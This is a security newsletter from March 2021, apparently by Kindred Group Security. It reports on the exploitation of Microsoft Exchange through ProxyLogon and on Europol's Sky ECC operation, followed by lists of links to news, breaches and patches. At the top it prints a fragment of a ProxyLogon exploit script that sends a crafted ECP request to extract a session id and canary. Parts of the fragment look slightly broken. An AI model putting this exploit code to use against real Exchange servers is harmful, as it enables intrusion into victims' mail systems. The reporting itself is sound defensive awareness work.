

---


## Security Newsletter

15 March 2021

[Subscribe to this newsletter](#)

# ProxyLogon Exploit Released Likely to Fuel More Disruptive Cyber Attacks

```
80
81 ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
82     "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~194206",
83     "Content-Type": "text/xml",
84     "User-Agent": user_agent
85 },
86     data=proxyLogon_request,
87     verify=False
88 )
89 if ct.status_code != 241 or not "set-cookie" in ct.headers:
90     print("Proxylogon Error!")
91     exit()
92
93 sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
94
95 msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")
96 print("Got session id: " + sess_id)
97 print("Got canary: " + msExchEcpCanary)
```



The U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) on Wednesday issued a joint advisory warning of active exploitation of vulnerabilities in Microsoft Exchange on-premises products by nation-state actors and cybercriminals.

The attacks have primarily targeted local governments, academic institutions, non-governmental organizations, and business entities in various industry sectors, including agriculture, biotechnology, aerospace, defense, legal services, power utilities, and pharmaceutical, which the agencies say are in line with previous activity conducted by Chinese cyber actors.

Tens of thousands of entities, including the European Banking Authority and the Norwegian Parliament, are believed to have been breached to install a web-based backdoor called the China Chopper web shell that grants the attackers the ability to plunder email inboxes and remotely access the target systems.

[Read More on TheHackerNews](#)

## Europol 'unlocks' encrypted Sky ECC chat service to make arrests



European law enforcement authorities have made a large number of arrests after a joint operation involving the monitoring of organized crime communication channels after "unlocking" Sky ECC chat's encryption.

Sky ECC is advertised as a secure messaging platform used by around 170,000 individuals worldwide. The service's US, Canadian, and European servers are being used to exchange over three million messages each day.

The investigation started after Belgium police seized mobile phones from criminals who used Sky ECC. After "unlocking" the chat platform's encryption, investigators have been able to monitor communications between roughly 70,000 Sky ECC users.

[Read More on Bleeping Computer](#)

[Even More on Europol's press release](#)

## More #News

- [GitHub bug caused users to login to other user accounts](#)
- [Researchers Spotted Malware Written in Nim Programming Language](#)
- [Researchers Unveil New Linux Malware Linked to Chinese Hackers](#)
- [FIN8 Hackers Return With More Powerful Version of BADHATCH PoS Malware](#)
- [OVH data center fire likely caused by faulty UPS power supply](#)
- [Microsoft Edge to use a four-week release cycle to sync with Chrome](#)
- [New Attack Uses Fake Icon To Deliver Trojan](#)

- [Researchers Describe a Second, Separate SolarWinds Attack](#)

## #Breach Log

- [Microsoft Exchange Hackers Also Breached European Banking Authority](#)
- [150,000 security cameras allegedly breached in “too much fun” hack](#)
- [Researchers hacked Indian govt sites via exposed git and env files](#)
- [Molson Coors brewing operations disrupted by cyberattack](#)
- [Ryuk ransomware hits 700 Spanish government labor agency offices](#)
- [Hackers access surveillance cameras at Tesla, Cloudflare, banks, more](#)
- [iPhone Call Recorder bug gave access to other people's conversations](#)

## #Patch Time!

- [Another Google Chrome 0-Day Bug Found Actively Exploited In-the-Wild](#)
- [Critical Pre-Auth RCE Flaw Found in F5 Big-IP Platform](#)
- [Microsoft Patch Tuesday, March 2021 Edition](#)
- [15-year-old Linux kernel bugs let attackers gain root privileges](#)
- [Adobe releases batch of security fixes for Framemaker, Creative Cloud, Connect](#)
- [Vulnerabilities in Microsoft DNS Server](#)

## #Tech and #Tools

- [Incident Response Series: Collecting and analyzing logs in azure ad](#)
- [Google shares Spectre PoC targeting browser JavaScript engines](#)
- [Linux Foundation unveils Sigstore – a Let's Encrypt for code signing](#)
- [The best security keys in 2021: Hardware-based two-factor authentication for online protection](#)
- [Malicious apps on Google Play dropped banking Trojans on user devices](#)
- [New ZHtrap botnet malware deploys honeypots to find more targets](#)
- [Exploring Nim language - Writing a ransomware](#)



This content was created by [Kindred Group Security](#). Please share if you enjoyed!

## Kindred Group in brief

Kindred is one of the largest online gambling companies in the world with a diverse team of 1,600 people serving over 26 million customers across Europe, Australia and the US. We offer pre-game and live Sports betting, Poker, Casino and Games through 11 brands across our markets. We are committed to offer our customers the best deal and user experience possible, while ensuring a safe and fair gambling environment. Kindred is a pioneer in the online gambling industry and is an innovation driven company that builds on trust.

You can access the previous newsletters at <https://news.infosecgur.us>